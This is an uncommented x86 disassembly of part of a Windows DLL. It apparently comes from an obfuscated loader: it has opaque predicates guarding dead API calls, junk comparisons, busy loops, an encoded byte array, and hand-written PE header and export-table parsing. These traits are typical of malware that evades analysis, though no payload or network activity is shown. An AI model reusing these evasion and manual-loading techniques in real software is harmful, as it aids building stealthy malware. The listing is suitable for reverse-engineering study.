lea ecx, [ebp - 0xf10]
call fcn.1000bcff
mov ecx, dword [ebp - 0x8b0]
mov dword [eax], ecx
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x988]
mov dword [ebp - 0xff8], eax
push 4
pop eax
imul eax, eax, 3
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x26c]
cmp ecx, dword [ebp + eax - 0x988]
jle 0x1001dd71
mov dword [ebp - 0xb54], 1
jmp 0x1001dd78
and dword [ebp - 0xb54], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x26c]
mov dword [ebp - 0x1000], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x988], 0xfffffff7
je 0x1001dda7
mov dword [ebp - 0x6a0], 1
jmp 0x1001ddae
and dword [ebp - 0x6a0], 0
mov eax, dword [ebp - 0x6a0]
mov dword [ebp - 0xa28], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf10]
call fcn.1000bce3
mov eax, dword [ebp - 0x2d4]
mov byte [ebp + eax - 0x978], 0
jmp 0x1001d8df
mov dword [ebp - 0x114], 2
push 2
lea ecx, [ebp - 0x410]
call fcn.1000bc61
mov dword [ebp - 4], 0x1c
mov dword [ebp - 0x13c], 0xa1c1
mov dword [ebp - 0x274], 0
jmp 0x1001de1d
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 2
jge 0x1001de3f
push dword [ebp - 0x274]
lea ecx, [ebp - 0x410]
call fcn.1000bcff
mov dword [eax], 0xfffffff6
jmp 0x1001de10
mov esi, dword [ebp - 0x114]
push 1
lea ecx, [ebp - 0x410]
call fcn.1000bcff
sub esi, dword [eax]
push 1
lea ecx, [ebp - 0x410]
call fcn.1000bcff
cmp esi, dword [eax]
je 0x1001de71
mov dword [ebp - 0xbac], 1
jmp 0x1001de78
and dword [ebp - 0xbac], 0
mov esi, dword [ebp - 0x13c]
push 1
lea ecx, [ebp - 0x410]
call fcn.1000bcff
add esi, dword [eax]
push 1
lea ecx, [ebp - 0x410]
call fcn.1000bcff
cmp esi, dword [eax]
je 0x1001deaa
mov dword [ebp - 0x7f0], 1
jmp 0x1001deb1
and dword [ebp - 0x7f0], 0
push 1
lea ecx, [ebp - 0x410]
call fcn.1000bcff
mov ecx, dword [ebp - 0x7f0]
cmp ecx, dword [eax]
jl 0x1001ded4
mov dword [ebp - 0x6a8], 1
jmp 0x1001dedb
and dword [ebp - 0x6a8], 0
push 1
lea ecx, [ebp - 0x410]
call fcn.1000bcff
mov ecx, dword [ebp - 0x6a8]
cmp ecx, dword [eax]
jle 0x1001df07
mov eax, 0x1fbc9fa8
test eax, eax
je 0x1001df07
mov dword [ebp - 0x398], 1
jmp 0x1001df0e
and dword [ebp - 0x398], 0
push 1
lea ecx, [ebp - 0x410]
call fcn.1000bcff
mov ecx, dword [ebp - 0x398]
mov dword [eax], ecx
cmp dword [ebp - 0x398], 2
je 0x1001df38
mov dword [ebp - 0x8b8], 1
jmp 0x1001df3f
and dword [ebp - 0x8b8], 0
mov eax, dword [ebp - 0x8b8]
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x114], 0
jmp 0x1001df64
mov eax, dword [ebp - 0x114]
dec eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0xfffffffc
je 0x1001dfc3
mov dword [ebp - 0x13c], 1
jmp 0x1001df86
mov eax, dword [ebp - 0x13c]
dec eax
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
jl 0x1001dfc1
mov byte [ebp - 0xbd], 0
movzx eax, byte [ebp - 0xbd]
test eax, eax
je 0x1001dfa7
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push dword [ebp - 0x13c]
lea ecx, [ebp - 0x410]
call fcn.1000bcff
cmp dword [eax], 0
je 0x1001dfbf
jmp 0x1001dfc1
jmp 0x1001df79
jmp 0x1001df57
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x410]
call fcn.1000bce3
mov dword [ebp - 0x1008], 0x2760
mov dword [ebp - 0x6b0], 0x68dee21a
mov dword [ebp - 0x160], 0x4fda7ef5
mov dword [ebp - 0x454], 0xffffffff
mov dword [ebp - 0x45c], 0x16542076
mov dword [ebp - 0x44c], 0x969ac54c
mov dword [ebp - 0x1010], 6
mov dword [ebp - 0xa30], 0
mov dword [ebp - 0xb94], 0
mov dword [ebp - 0x1018], 0
mov dword [ebp - 0xb5c], 0x35d56974
mov dword [ebp - 0xa40], 1
mov dword [ebp - 0xd7c], 0xffffffff
mov dword [ebp - 0xd78], 0xffffffff
mov dword [ebp - 0xd74], 0xffffffff
mov dword [ebp - 0xd70], 0xffffffff
mov dword [ebp - 0x1020], 0xf25d
mov dword [ebp - 0x32c], 0xaab56411
mov dword [ebp - 0xa38], 0
mov dword [ebp - 0xb64], 0xf3ac16b4
mov eax, 0x1c1ec2db
test eax, eax
je 0x1001e1a7
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xd7c], 0
je 0x1001e0dd
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x6b0], eax
mov eax, dword [ebp - 0x454]
cmp eax, dword [ebp - 0x6b0]
jg 0x1001e0dd
mov dword [ebp - 0x7f8], 1
jmp 0x1001e0e4
and dword [ebp - 0x7f8], 0
mov eax, dword [ebp - 0x32c]
inc eax
mov dword [ebp - 0x32c], eax
mov eax, dword [ebp - 0x32c]
cmp eax, dword [ebp - 0x7f8]
jne 0x1001e10b
mov dword [ebp - 0x430], 1
jmp 0x1001e112
and dword [ebp - 0x430], 0
mov eax, dword [ebp - 0xa30]
mov dword [ebp - 0x1028], eax
mov eax, dword [ebp - 0xb5c]
cmp dword [ebp - 0x430], eax
je 0x1001e138
mov dword [ebp - 0x434], 1
jmp 0x1001e13f
and dword [ebp - 0x434], 0
mov eax, dword [ebp - 0xa38]
cmp dword [ebp - 0x434], eax
je 0x1001e159
mov dword [ebp - 0x43c], 1
jmp 0x1001e160
and dword [ebp - 0x43c], 0
mov eax, dword [ebp - 0xb94]
cmp dword [ebp - 0x43c], eax
jle 0x1001e17a
mov dword [ebp - 0x444], 1
jmp 0x1001e181
and dword [ebp - 0x444], 0
mov eax, dword [ebp - 0x444]
sub eax, 0xe7ea
je 0x1001e195
cmp dword [ebp - 0x44c], 0
mov eax, 0x4279
test eax, eax
jne 0x1001e1b4
cmp dword [ebp - 0x44c], 0
jne 0x1001e1b4
cmp dword [ebp - 0x32c], 0
je 0x1001e254
mov dword [ebp - 0x3f4], 0x8f5063f3
mov eax, dword [ebp - 0x454]
cmp eax, dword [ebp - 0xa40]
jge 0x1001e1d8
mov dword [ebp - 0x464], 1
jmp 0x1001e1df
and dword [ebp - 0x464], 0
xor eax, eax
inc eax
sub eax, dword [ebp - 0x3f4]
mov dword [ebp - 0x45c], eax
mov eax, dword [ebp - 0x45c]
add eax, dword [ebp - 0x464]
je 0x1001e211
cmp dword [ebp - 0xb64], 0
je 0x1001e211
mov dword [ebp - 0x46c], 1
jmp 0x1001e218
and dword [ebp - 0x46c], 0
mov eax, dword [ebp - 0x46c]
mov dword [ebp - 0x3f4], eax
mov dword [ebp - 0x160], 0xffffffeb
jmp 0x1001e23d
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0xd
jge 0x1001e252
mov dword [ebp - 0x3f4], 0xb2213aab
jmp 0x1001e230
jmp 0x1001e270
mov byte [ebp - 0xf6], 0
movzx eax, byte [ebp - 0xf6]
test eax, eax
je 0x1001e270
push 0
push 0
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov dword [ebp - 0x68], 0xfffffff6
mov dword [ebp - 0xac], 0xa1245c81
mov dword [ebp - 0x98], 0x6085e071
push 2
lea ecx, [ebp - 0xc04]
call fcn.1000bc61
mov dword [ebp - 4], 0x1d
mov dword [ebp - 0x49c], 0x30dfddae
mov dword [ebp - 0xc58], 0xb91ee4c
mov dword [ebp - 0xc54], 0xb91ee4c
mov dword [ebp - 0xc50], 0xb91ee4c
mov dword [ebp - 0xc4c], 0xb91ee4c
lea ecx, [ebp - 0x351]
call fcn.1000bd0e
push eax
lea eax, [ebp - 0xc48]
push eax
lea eax, [ebp - 0xc58]
push eax
lea ecx, [ebp - 0x10d0]
call fcn.1000bd11
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1080]
call fcn.1000bcbd
mov byte [ebp - 4], 0x1e
mov dword [ebp - 0x27c], 0
jmp 0x1001e323
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 2
jge 0x1001e345
push dword [ebp - 0x27c]
lea ecx, [ebp - 0xc04]
call fcn.1000bcff
mov dword [eax], 0x71a0513
jmp 0x1001e316
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x68]
jle 0x1001e359
mov dword [ebp - 0x484], 1
jmp 0x1001e360
and dword [ebp - 0x484], 0
mov dword [ebp - 0xac], 0xfff9
cmp dword [ebp - 0xac], 0
jne 0x1001e377
cmp dword [ebp - 0x68], 0
cmp dword [ebp - 0xac], 0
jae 0x1001e38c
mov dword [ebp - 0x474], 1
jmp 0x1001e393
and dword [ebp - 0x474], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x474], eax
je 0x1001e3aa
mov dword [ebp - 0x47c], 1
jmp 0x1001e3b1
and dword [ebp - 0x47c], 0
mov eax, dword [ebp - 0x68]
cmp dword [ebp - 0x47c], eax
jg 0x1001e3c8
mov dword [ebp - 0x48c], 1
jmp 0x1001e3cf
and dword [ebp - 0x48c], 0
mov eax, dword [ebp - 0x484]
cmp eax, dword [ebp - 0x48c]
jg 0x1001e3e9
mov dword [ebp - 0x494], 1
jmp 0x1001e3f0
and dword [ebp - 0x494], 0
mov eax, dword [ebp - 0x494]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xf4c], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xea8], eax
or eax, 0xffffffff
add eax, 0x4d0f4f23
cmp dword [ebp - 0x68], eax
je 0x1001e42a
mov dword [ebp - 0x3a0], 1
jmp 0x1001e431
and dword [ebp - 0x3a0], 0
push 1
lea ecx, [ebp - 0xc04]
call fcn.1000bcff
mov ecx, dword [ebp - 0x3a0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x3a0]
mov dword [ebp - 0x49c], eax
mov eax, dword [ebp - 0x49c]
mov dword [ebp - 0xecc], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xdac], eax
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x98]
je 0x1001e54b
mov dword [ebp - 0x98], 0
jmp 0x1001e48f
cmp dword [ebp - 0x98], 1
jg 0x1001e52f
mov byte [ebp - 0xe5], 0
movzx eax, byte [ebp - 0xe5]
test eax, eax
je 0x1001e4c5
mov byte [ebp - 0xd5], 0
movzx eax, byte [ebp - 0xd5]
test eax, eax
je 0x1001e549
mov byte [ebp - 0xbe], 0
movzx eax, byte [ebp - 0xbe]
test eax, eax
je 0x1001e56c
push 0
push 0x67e
push 0
call dword [sym.imp.GDI32.dll_GetObjectW]
mov byte [ebp - 0xf5], 0
movzx eax, byte [ebp - 0xf5]
test eax, eax
je 0x1001e586
push 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x1080]
call fcn.1000bce3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc04]
call fcn.1000bce3
mov byte [ebp - 0x1e0], 6
mov byte [ebp - 0x1df], 0xb8
mov byte [ebp - 0x1de], 5
mov byte [ebp - 0x1dd], 0x35
mov byte [ebp - 0x1dc], 0xd
mov byte [ebp - 0x1db], 0x32
mov byte [ebp - 0x1da], 0xb
mov byte [ebp - 0x1d9], 0x24
mov byte [ebp - 0x1d8], 7
mov byte [ebp - 0x1d7], 1
mov byte [ebp - 0x1d6], 9
mov byte [ebp - 0x1d5], 0x11
mov byte [ebp - 0x1d4], 0
mov byte [ebp - 0x1d3], 0x20
mov byte [ebp - 0x1d2], 3
mov byte [ebp - 0x1d1], 0x61
mov byte [ebp - 0x1d0], 0x97
mov byte [ebp - 0x1cf], 0x16
mov byte [ebp - 0x1ce], 0xa
mov byte [ebp - 0x1cd], 0x26
mov byte [ebp - 0x1cc], 8
mov byte [ebp - 0x1cb], 0xa
mov byte [ebp - 0x1ca], 0xc
mov byte [ebp - 0x1c9], 0x1c
mov byte [ebp - 0x1c8], 1
mov byte [ebp - 0x1c7], 1
mov byte [ebp - 0x1c6], 4
mov byte [ebp - 0x1c5], 6
mov byte [ebp - 0x1c4], 3
mov byte [ebp - 0x1c3], 0x15
mov byte [ebp - 0x1c2], 2
mov byte [ebp - 0x1c1], 4
mov dword [ebp - 0x2dc], 0xac204e2d
mov byte [ebp - 0xc0], 0
movzx eax, byte [ebp - 0xc0]
test eax, eax
je 0x1001e6ab
mov eax, dword [0x10614b80]
cmp eax, dword [ebp - 0x310]
je 0x1001f372
mov eax, dword [0x106d8658]
cmp eax, dword [ebp - 0x310]
jne 0x1001f38a
mov ecx, dword [ebp + 0xc]
call fcn.1000bc56
push eax
push dword [ebp + 8]
call fcn.1001512e
pop ecx
pop ecx
jmp 0x10021d27
push 2
lea ecx, [ebp - 0xd44]
call fcn.1000bc61
mov dword [ebp - 4], 0x26
mov dword [ebp - 0x188], 0xfffffff6
mov dword [ebp - 0xf9c], 0xa4f402e3
mov dword [ebp - 0x268], 0
jmp 0x1001f3cb
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 2
jge 0x1001f3ea
push dword [ebp - 0x268]
lea ecx, [ebp - 0xd44]
call fcn.1000bcff
and dword [eax], 0
jmp 0x1001f3be
mov dword [ebp - 0x188], 1
jmp 0x1001f403
mov eax, dword [ebp - 0x188]
dec eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0
jl 0x1001f426
push dword [ebp - 0x188]
lea ecx, [ebp - 0xd44]
call fcn.1000bcff
cmp dword [eax], 0
je 0x1001f424
jmp 0x1001f426
jmp 0x1001f3f6
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd44]
call fcn.1000bce3
mov eax, dword [ebp + 8]
mov dword [ebp - 0x278], eax
push 2
lea ecx, [ebp - 0xacc]
call fcn.1000bc61
mov dword [ebp - 4], 0x27
mov dword [ebp - 0x270], 0
jmp 0x1001f46b
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 2
jge 0x1001f48d
push dword [ebp - 0x270]
lea ecx, [ebp - 0xacc]
call fcn.1000bcff
mov dword [eax], 1
jmp 0x1001f45e
push 1
lea ecx, [ebp - 0xacc]
call fcn.1000bcff
mov dword [eax], 0x1d
jmp 0x1001f4c6
push 1
lea ecx, [ebp - 0xacc]
call fcn.1000bcff
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x42c]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0xacc]
call fcn.1000bcff
cmp dword [eax], 0xfffffff0
jge 0x1001f51c
mov byte [ebp - 0xde], 0
movzx eax, byte [ebp - 0xde]
test eax, eax
je 0x1001f502
push 0xbbe
push 0
push 0
push 0
push 0
push 0xb9d
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov byte [ebp - 0xb9], 0
movzx eax, byte [ebp - 0xb9]
test eax, eax
je 0x1001f51a
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
jmp 0x1001f4a2
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xacc]
call fcn.1000bce3
cmp dword [ebp - 0x278], 0
je 0x100219d0
mov eax, dword [ebp - 0x278]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x100219d0
mov dword [ebp - 0x3d4], 0xfffe
mov dword [ebp - 0x178], 0x53aa9ac7
push 3
lea ecx, [ebp - 0x928]
call fcn.1000bc61
mov dword [ebp - 4], 0x28
mov dword [ebp - 0xb30], 0x81230b63
mov dword [ebp - 0x70], 0
jmp 0x1001f58e
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 3
jge 0x1001f5aa
push dword [ebp - 0x70]
lea ecx, [ebp - 0x928]
call fcn.1000bcff
mov dword [eax], 0xfffffff8
jmp 0x1001f587
mov dword [ebp - 0x70], 0
jmp 0x1001f5ba
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 3
jge 0x1001f5d0
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0xadc], 0xffffffff
jmp 0x1001f5b3
cmp dword [ebp - 0x3d4], 0
jne 0x1001f5e6
xor eax, eax
jne 0x1001f5e6
and dword [ebp - 0x50c], 0
jmp 0x1001f5f0
mov dword [ebp - 0x50c], 1
mov eax, dword [ebp - 0x50c]
mov dword [ebp - 0x178], eax
push 1
lea ecx, [ebp - 0x928]
call fcn.1000bcff
mov dword [eax], 1
xor eax, eax
inc eax
cmp eax, 0x82baef6e
jae 0x1001f6cd
push 1
lea ecx, [ebp - 0x928]
call fcn.1000bcff
imul esi, dword [eax], 0xffffffff
push 0
lea ecx, [ebp - 0x928]
call fcn.1000bcff
cmp esi, dword [eax]
jne 0x1001f64a
mov dword [ebp - 0xa78], 1
jmp 0x1001f651
and dword [ebp - 0xa78], 0
push 1
lea ecx, [ebp - 0x928]
call fcn.1000bcff
push 1
lea ecx, [ebp - 0x928]
call fcn.1000bcff
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xadc]
mov dword [ebp - 0x514], eax
push 1
lea ecx, [ebp - 0x928]
call fcn.1000bcff
mov ecx, dword [ebp - 0x514]
mov dword [eax], ecx
imul eax, dword [ebp - 0x514], 0xfffffff7
cmp eax, dword [ebp - 0x3d4]
jle 0x1001f6af
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xadc], 0
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0xdf4], eax
cmp dword [ebp - 0x3d4], 0
jne 0x1001f6cd
and dword [ebp - 0x51c], 0
jmp 0x1001f6d7
mov dword [ebp - 0x51c], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xadc]
cmp dword [ebp - 0x51c], eax
jg 0x1001f6f8
mov dword [ebp - 0x524], 1
jmp 0x1001f6ff
and dword [ebp - 0x524], 0
mov eax, dword [ebp - 0x178]
cmp eax, dword [ebp - 0x524]
jle 0x1001f719
mov dword [ebp - 0x52c], 1
jmp 0x1001f720
and dword [ebp - 0x52c], 0
mov eax, dword [ebp - 0x178]
cmp dword [ebp - 0x52c], eax
jle 0x1001f73a
mov dword [ebp - 0x534], 1
jmp 0x1001f741
and dword [ebp - 0x534], 0
mov eax, dword [ebp - 0xb30]
cmp dword [ebp - 0x534], eax
jne 0x1001f75b
mov dword [ebp - 0x53c], 1
jmp 0x1001f762
and dword [ebp - 0x53c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xadc]
cmp dword [ebp - 0x53c], eax
jle 0x1001f782
mov dword [ebp - 0x544], 1
jmp 0x1001f789
and dword [ebp - 0x544], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xadc]
cmp dword [ebp - 0x544], eax
jl 0x1001f7aa
mov dword [ebp - 0x54c], 1
jmp 0x1001f7b1
and dword [ebp - 0x54c], 0
mov eax, dword [ebp - 0x54c]
mov dword [ebp - 0x178], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x928]
call fcn.1000bce3
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x278]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x174], ecx
mov dword [ebp - 0x288], 0xfffffff9
mov dword [ebp - 0xf14], 0xfffffffb
push 4
lea ecx, [ebp - 0xd5c]
call fcn.1000bc61
mov dword [ebp - 4], 0x29
mov dword [ebp - 0x280], 0
jmp 0x1001f822
mov eax, dword [ebp - 0x280]
inc eax
mov dword [ebp - 0x280], eax
cmp dword [ebp - 0x280], 4
jge 0x1001f841
push dword [ebp - 0x280]
lea ecx, [ebp - 0xd5c]
call fcn.1000bcff
and dword [eax], 0
jmp 0x1001f815
mov byte [ebp - 0xbb], 0
movzx eax, byte [ebp - 0xbb]
test eax, eax
je 0x1001f862
push 0
push 0
push 0x12ab
call dword [sym.imp.USER32.dll_EnumChildWindows]
cmp dword [ebp - 0x288], 1
je 0x1001f877
mov dword [ebp - 0x554], 1
jmp 0x1001f87e
and dword [ebp - 0x554], 0
mov eax, dword [ebp - 0x288]
cmp eax, dword [ebp - 0x554]
jne 0x1001f898
mov dword [ebp - 0x55c], 1
jmp 0x1001f89f
and dword [ebp - 0x55c], 0
mov eax, dword [ebp - 0x288]
cmp eax, dword [ebp - 0x55c]
jge 0x1001f8b9
mov dword [ebp - 0x564], 1
jmp 0x1001f8c0
and dword [ebp - 0x564], 0
mov eax, dword [ebp - 0x564]
add eax, 0xc13f
cmp eax, dword [ebp - 0x288]
jge 0x1001f8df
mov dword [ebp - 0x56c], 1
jmp 0x1001f8e6
and dword [ebp - 0x56c], 0
push 1
lea ecx, [ebp - 0xd5c]
call fcn.1000bcff
mov ecx, dword [ebp - 0x56c]
mov dword [eax], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd5c]
call fcn.1000bce3
mov eax, dword [ebp - 0x174]
cmp dword [eax], 0x4550
jne 0x100219d0
mov eax, dword [ebp - 0x174]
cmp dword [eax + 0x74], 0
jbe 0x100219d0
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x174]
cmp dword [ecx + eax + 0x78], 0
je 0x100219d0
or dword [ebp - 0xca8], 0xffffffff
or dword [ebp - 0xca4], 0xffffffff
or dword [ebp - 0xca0], 0xffffffff
or dword [ebp - 0xc9c], 0xffffffff
lea ecx, [ebp - 0x399]
call fcn.1000bd0e
push eax
lea eax, [ebp - 0xc98]
push eax
lea eax, [ebp - 0xca8]
push eax
lea ecx, [ebp - 0x10c0]
call fcn.1000bd11
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x344]
call fcn.1000bcbd
mov dword [ebp - 4], 0x2a
mov dword [ebp - 0xb38], 0x986e
mov dword [ebp - 0xa88], 0xbdebf889
mov dword [ebp - 0x594], 0xffffffff
mov dword [ebp - 0xa90], 0xd66d
push 2
lea ecx, [ebp - 0xcc0]
call fcn.1000bc61
mov byte [ebp - 4], 0x2b
mov dword [ebp - 0x574], 0x7fe3
mov dword [ebp - 0xa80], 0x10007c98
cmp dword [ebp - 0x574], 0x8007
jle 0x1001faa3
and dword [ebp - 0x2a0], 0
jmp 0x1001fa0e
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0x274d
jge 0x1001faa3
and dword [ebp - 0x290], 0
jmp 0x1001fa34
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 0x7b4b
jge 0x1001fa9e
and dword [ebp - 0x298], 0
jmp 0x1001fa56
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 0x57cf
jge 0x1001fa9c
mov eax, dword [ebp - 0x290]
cdq
idiv dword [ebp - 0x298]
xor edx, dword [ebp - 0x2a0]
mov eax, edx
cdq
mov dword [ebp - 0xa10], eax
mov dword [ebp - 0xa0c], edx
push dword [ebp - 0xa0c]
push dword [ebp - 0xa10]
mov ecx, 0x10613a58
call fcn.10022e2a
jmp 0x1001fa49
jmp 0x1001fa27
jmp 0x1001fa01
mov byte [ebp - 4], 0x2c
cmp dword [ebp - 0x574], 0x7ce9
jge 0x1001fac3
mov edx, dword [ebp - 0xa80]
mov ecx, 0x10613a58
call fcn.10026b2f
jmp 0x1001fadf
mov dword [ebp - 4], 0x2b
jmp 0x1001faef
mov dword [ebp - 0x1f4], 0
jmp 0x1001fb08
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 2
jge 0x1001fb2a
push dword [ebp - 0x1f4]
lea ecx, [ebp - 0xcc0]
call fcn.1000bcff
mov dword [eax], 0x38886a6c
jmp 0x1001fafb
mov byte [ebp - 0xbf], 0
movzx eax, byte [ebp - 0xbf]
test eax, eax
je 0x1001fb59
push 0
push 0
push 0
push 0x172a
push 0x17d
push 0
push 0x145b
call dword [sym.imp.GDI32.dll_GetTextExtentExPointA]
push 0
lea ecx, [ebp - 0x344]
call fcn.1000bcff
cmp dword [eax], 0
jne 0x1001fb9f
push 3
lea ecx, [ebp - 0x344]
call fcn.1000bcff
push 3
lea ecx, [ebp - 0x344]
call fcn.1000bcff
cmp dword [eax], 0xe01b
jg 0x1001fb96
cmp dword [ebp - 0xb38], 0
jne 0x1001fb9f
and dword [ebp - 0x57c], 0
jmp 0x1001fba9
mov dword [ebp - 0x57c], 1
push 0
lea ecx, [ebp - 0x344]
call fcn.1000bcff
mov eax, dword [eax]
cmp eax, dword [ebp - 0x57c]
jl 0x1001fbcc
mov dword [ebp - 0x584], 1
jmp 0x1001fbd3
and dword [ebp - 0x584], 0
push 0
lea ecx, [ebp - 0x344]
call fcn.1000bcff
mov eax, dword [eax]
neg eax
add eax, dword [ebp - 0x584]
mov dword [ebp - 0xa88], eax
push 0
lea ecx, [ebp - 0x344]
call fcn.1000bcff
push 2
lea ecx, [ebp - 0x344]
call fcn.1000bcff
push 0
lea ecx, [ebp - 0x344]
call fcn.1000bcff
mov esi, dword [ebp - 0x594]
push 2
lea ecx, [ebp - 0x344]
call fcn.1000bcff
add esi, dword [eax]
push 0
lea ecx, [ebp - 0x344]
call fcn.1000bcff
cmp esi, dword [eax]
jge 0x1001fc49
mov dword [ebp - 0x58c], 1
jmp 0x1001fc50
and dword [ebp - 0x58c], 0
push 0
lea ecx, [ebp - 0x344]
call fcn.1000bcff
mov eax, dword [eax]
sub eax, dword [ebp - 0x58c]
jne 0x1001fc82
push 2
lea ecx, [ebp - 0x344]
call fcn.1000bcff
cmp dword [eax], 0
jne 0x1001fc82
and dword [ebp - 0xb40], 0
jmp 0x1001fc8c
mov dword [ebp - 0xb40], 1
mov eax, dword [ebp - 0x594]
mov dword [ebp - 0xdfc], eax
mov esi, dword [ebp - 0xa90]
push 1
lea ecx, [ebp - 0xcc0]
call fcn.1000bcff
mov dword [eax], esi
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0xcc0]
call fcn.1000bce3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x344]
call fcn.1000bce3
mov eax, dword [ebp + 8]
mov dword [ebp - 0x138], eax
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x174]
mov edx, dword [ebp - 0x138]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x94], edx
mov dword [ebp - 0xe4], 0x24ec2e0c
mov dword [ebp - 0x150], 0x33a79cc0
mov dword [ebp - 0xe4], 0xffffffe3
jmp 0x1001fd1d
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0x1d
jge 0x1001fed2
mov dword [ebp - 0x84], 0xfffd
mov dword [ebp - 0x124], 0xa00d
mov dword [ebp - 0xfb4], 0x6c71
mov dword [ebp - 0xfb0], 0x6c71
mov dword [ebp - 0xfac], 0x6c71
mov dword [ebp - 0xfa8], 0x6c71
mov dword [ebp - 0xa98], 0x7eb23672
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x1024], eax
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0xe04], eax
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0xf24], eax
imul eax, dword [ebp - 0xe4], 0x9f58
cmp eax, dword [ebp - 0x124]
jne 0x1001fdb2
mov dword [ebp - 0x59c], 1
jmp 0x1001fdb9
and dword [ebp - 0x59c], 0
mov eax, dword [ebp - 0x59c]
sub eax, dword [ebp - 0x84]
cmp eax, 0xe3580d41
jbe 0x1001fdd8
mov dword [ebp - 0x5a4], 1
jmp 0x1001fddf
and dword [ebp - 0x5a4], 0
mov eax, dword [ebp - 0x150]
cmp dword [ebp - 0x5a4], eax
je 0x1001fe02
mov eax, 0xa56718e5
test eax, eax
je 0x1001fe02
mov dword [ebp - 0x5ac], 1
jmp 0x1001fe09
and dword [ebp - 0x5ac], 0
mov eax, dword [ebp - 0x124]
cmp dword [ebp - 0x5ac], eax
jg 0x1001fe93
mov eax, 0xfff6
test eax, eax
je 0x1001fe93
mov dword [ebp - 0x124], 0
jmp 0x1001fe39
mov eax, dword [ebp - 0x124]
dec eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0xffffffea
jge 0x1001fe91
mov dword [ebp - 0x150], 0
jmp 0x1001fe5b
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 3
jg 0x1001fe8f
mov byte [ebp - 0xc1], 0
movzx eax, byte [ebp - 0xc1]
test eax, eax
je 0x1001fe8d
push 0
push 0x1041
push 0x1586
push 0x1698
call dword [sym.imp.GDI32.dll_SetWindowExtEx]
jmp 0x1001fe4e
jmp 0x1001fe2c
jmp 0x1001fecd
mov dword [ebp - 0x84], 0
jmp 0x1001feac
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0x17
